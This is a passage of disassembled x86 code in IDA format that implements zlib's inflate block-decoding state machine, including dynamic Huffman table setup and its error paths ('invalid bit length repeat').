loc_40B706: ; CODE XREF: sub_40AF6D+6F5j
mov eax, [ebp+var_C]
and eax, 3FFFh
mov [ebp+var_10], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
and eax, 1Fh
cmp eax, 1Dh
ja short loc_40B733
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
cmp ecx, 1Dh
jbe short loc_40B7A8
loc_40B733: ; CODE XREF: sub_40AF6D+7B6j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B7A8: ; CODE XREF: sub_40AF6D+7C4j
mov ecx, [ebp+var_10]
and ecx, 1Fh
mov edx, [ebp+var_10]
shr edx, 5
and edx, 1Fh
lea eax, [ecx+edx+102h]
mov [ebp+var_10], eax
push 4
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+0Ch], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jnz short loc_40B848
mov [ebp+arg_8], 0FFFFFFFCh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B848: ; CODE XREF: sub_40AF6D+877j
mov ecx, [ebp+var_C]
shr ecx, 0Eh
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
sub edx, 0Eh
mov [ebp+var_14], edx
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 4
loc_40B86D: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D+9FFj
; DATA XREF: ...
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shr eax, 0Ah
add eax, 4
mov ecx, [ebp+arg_0]
cmp [ecx+8], eax
jnb loc_40B971
loc_40B885: ; CODE XREF: sub_40AF6D+9BDj
cmp [ebp+var_14], 3
jnb loc_40B92F
cmp [ebp+var_1C], 0
jz short loc_40B89E
mov [ebp+arg_8], 0
jmp short loc_40B8F9
; ---------------------------------------------------------------------------
loc_40B89E: ; CODE XREF: sub_40AF6D+926j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40B8F9: ; CODE XREF: sub_40AF6D+92Fj
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_40B885
; ---------------------------------------------------------------------------
loc_40B92F: ; CODE XREF: sub_40AF6D+91Cj
mov eax, [ebp+var_C]
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov ecx, dword_414440[edx*4]
mov edx, [ebp+arg_0]
mov edx, [edx+0Ch]
mov [edx+ecx*4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
jmp loc_40B86D
; ---------------------------------------------------------------------------
loc_40B971: ; CODE XREF: sub_40AF6D+912j
; sub_40AF6D+A36j
mov edx, [ebp+arg_0]
cmp dword ptr [edx+8], 13h
jnb short loc_40B9A5
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov edx, dword_414440[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov dword ptr [ecx+edx*4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
jmp short loc_40B971
; ---------------------------------------------------------------------------
loc_40B9A5: ; CODE XREF: sub_40AF6D+A0Bj
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], 7
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
add eax, 14h
push eax
mov ecx, [ebp+arg_0]
add ecx, 10h
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
call sub_40CBFE
add esp, 14h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_40BA6B
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+var_10]
mov [ebp+arg_8], eax
cmp [ebp+arg_8], 0FFFFFFFDh
jnz short loc_40BA10
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_40BA10: ; CODE XREF: sub_40AF6D+A98j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BA6B: ; CODE XREF: sub_40AF6D+A71j
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 5
loc_40BA7E: ; CODE XREF: sub_40AF6D+75j
; sub_40AF6D:loc_40BE0Cj
; DATA XREF: ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
and eax, 1Fh
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
lea edx, [eax+ecx+102h]
mov eax, [ebp+arg_0]
cmp [eax+8], edx
jnb loc_40BE11
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_10], edx
loc_40BAB2: ; CODE XREF: sub_40AF6D+BEAj
mov eax, [ebp+var_14]
cmp eax, [ebp+var_10]
jnb loc_40BB5C
cmp [ebp+var_1C], 0
jz short loc_40BACD
mov [ebp+arg_8], 0
jmp short loc_40BB28
; ---------------------------------------------------------------------------
loc_40BACD: ; CODE XREF: sub_40AF6D+B55j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BB28: ; CODE XREF: sub_40AF6D+B5Ej
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_40BAB2
; ---------------------------------------------------------------------------
loc_40BB5C: ; CODE XREF: sub_40AF6D+B4Bj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_C]
and edx, dword_4132F8[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
lea edx, [ecx+edx*8]
mov [ebp+var_34], edx
mov eax, [ebp+var_34]
xor ecx, ecx
mov cl, [eax+1]
mov [ebp+var_10], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov [ebp+var_30], eax
cmp [ebp+var_30], 10h
jnb short loc_40BBC9
mov edx, [ebp+var_C]
mov ecx, [ebp+var_10]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_10]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov eax, [ebp+var_30]
mov [ecx+edx*4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
jmp loc_40BE0C
; ---------------------------------------------------------------------------
loc_40BBC9: ; CODE XREF: sub_40AF6D+C20j
cmp [ebp+var_30], 12h
jnz short loc_40BBD8
mov [ebp+var_70], 7
jmp short loc_40BBE1
; ---------------------------------------------------------------------------
loc_40BBD8: ; CODE XREF: sub_40AF6D+C60j
mov ecx, [ebp+var_30]
sub ecx, 0Eh
mov [ebp+var_70], ecx
loc_40BBE1: ; CODE XREF: sub_40AF6D+C69j
mov edx, [ebp+var_70]
mov [ebp+var_38], edx
mov eax, [ebp+var_30]
sub eax, 12h
neg eax
sbb eax, eax
and al, 0F8h
add eax, 0Bh
mov [ebp+var_3C], eax
loc_40BBF9: ; CODE XREF: sub_40AF6D+D36j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_38]
cmp [ebp+var_14], ecx
jnb loc_40BCA8
cmp [ebp+var_1C], 0
jz short loc_40BC17
mov [ebp+arg_8], 0
jmp short loc_40BC72
; ---------------------------------------------------------------------------
loc_40BC17: ; CODE XREF: sub_40AF6D+C9Fj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BC72: ; CODE XREF: sub_40AF6D+CA8j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_40BBF9
; ---------------------------------------------------------------------------
loc_40BCA8: ; CODE XREF: sub_40AF6D+C95j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, [ebp+var_10]
mov [ebp+var_14], ecx
mov edx, [ebp+var_38]
mov eax, [ebp+var_C]
and eax, dword_4132F8[edx*4]
mov ecx, [ebp+var_3C]
add ecx, eax
mov [ebp+var_3C], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+var_38]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_38]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov [ebp+var_38], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_38]
add edx, [ebp+var_3C]
mov eax, [ebp+var_10]
and eax, 1Fh
mov ecx, [ebp+var_10]
shr ecx, 5
and ecx, 1Fh
lea eax, [eax+ecx+102h]
cmp edx, eax
ja short loc_40BD2B
cmp [ebp+var_30], 10h
jnz loc_40BDB7
cmp [ebp+var_38], 1
jnb loc_40BDB7
loc_40BD2B: ; CODE XREF: sub_40AF6D+DA8j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BDB7: ; CODE XREF: sub_40AF6D+DAEj
; sub_40AF6D+DB8j
cmp [ebp+var_30], 10h
jnz short loc_40BDCF
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_38]
mov edx, [eax+ecx*4-4]
mov [ebp+var_74], edx
jmp short loc_40BDD6
; ---------------------------------------------------------------------------
loc_40BDCF: ; CODE XREF: sub_40AF6D+E4Ej
mov [ebp+var_74], 0
loc_40BDD6: ; CODE XREF: sub_40AF6D+E60j
mov eax, [ebp+var_74]
mov [ebp+var_30], eax
loc_40BDDC: ; CODE XREF: sub_40AF6D+E94j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_38]
mov ecx, [ebp+var_30]
mov [edx+eax*4], ecx
mov edx, [ebp+var_38]
add edx, 1
mov [ebp+var_38], edx
mov eax, [ebp+var_3C]
sub eax, 1
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0
jnz short loc_40BDDC
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_38]
mov [ecx+8], edx
loc_40BE0C: ; CODE XREF: sub_40AF6D+C57j
jmp loc_40BA7E
; ---------------------------------------------------------------------------
loc_40BE11: ; CODE XREF: sub_40AF6D+B36j
mov eax, [ebp+arg_0]
mov dword ptr [eax+14h], 0
mov [ebp+var_4C], 9
mov [ebp+var_40], 6
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+var_10], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
lea eax, [ebp+var_50]
push eax
lea ecx, [ebp+var_48]
push ecx
lea edx, [ebp+var_40]
push edx
lea eax, [ebp+var_4C]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_10]
shr eax, 5
and eax, 1Fh
add eax, 1
push eax
mov ecx, [ebp+var_10]
and ecx, 1Fh
add ecx, 101h
push ecx
call sub_40CCA6
add esp, 24h
mov [ebp+var_10], eax
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
cmp [ebp+var_10], 0
jz short loc_40BF06
cmp [ebp+var_10], 0FFFFFFFDh
jnz short loc_40BEA5
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_40BEA5: ; CODE XREF: sub_40AF6D+F2Dj
mov edx, [ebp+var_10]
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BF06: ; CODE XREF: sub_40AF6D+F27j
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_50]
push ecx
mov edx, [ebp+var_48]
push edx
mov eax, [ebp+var_40]
push eax
mov ecx, [ebp+var_4C]
push ecx
call sub_409FF9
add esp, 14h
mov [ebp+var_44], eax
cmp [ebp+var_44], 0
jnz short loc_40BF8D
mov [ebp+arg_8], 0FFFFFFFCh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40BF8D: ; CODE XREF: sub_40AF6D+FBCj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_44]
mov [edx+4], eax
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 6
loc_40BF9F: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:0040C2B5o
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40A04E
add esp, 0Ch
mov [ebp+arg_8], eax
cmp [ebp+arg_8], 1
jz short loc_40C017
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40C017: ; CODE XREF: sub_40AF6D+108Fj
mov [ebp+arg_8], 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_40ADA5
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_40C079
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_78], eax
jmp short loc_40C085
; ---------------------------------------------------------------------------
loc_40C079: ; CODE XREF: sub_40AF6D+10F9j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_78], edx
loc_40C085: ; CODE XREF: sub_40AF6D+110Aj
mov eax, [ebp+var_78]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+18h], 0
jnz short loc_40C0A2
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_40C294
; ---------------------------------------------------------------------------
loc_40C0A2: ; CODE XREF: sub_40AF6D+1125j
mov eax, [ebp+arg_0]
mov dword ptr [eax], 7
loc_40C0AB: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:0040C2B9o
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
mov [ebp+arg_8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_40C0F0
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_7C], edx
jmp short loc_40C0FC
; ---------------------------------------------------------------------------
loc_40C0F0: ; CODE XREF: sub_40AF6D+1170j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_7C], ecx
loc_40C0FC: ; CODE XREF: sub_40AF6D+1181j
mov edx, [ebp+var_7C]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+34h]
jz short loc_40C16B
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40C16B: ; CODE XREF: sub_40AF6D+11A1j
mov eax, [ebp+arg_0]
mov dword ptr [eax], 8
loc_40C174: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:0040C2BDo
mov [ebp+arg_8], 1
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp loc_40C299
; ---------------------------------------------------------------------------
loc_40C1D6: ; CODE XREF: sub_40AF6D+75j
; DATA XREF: HSho:0040C2C1o
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_409E20
add esp, 0Ch
jmp short loc_40C299
; ---------------------------------------------------------------------------
loc_40C235: ; CODE XREF: sub_40AF6D+6Cj
mov [ebp+arg_8], 0FFFFFFFEh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
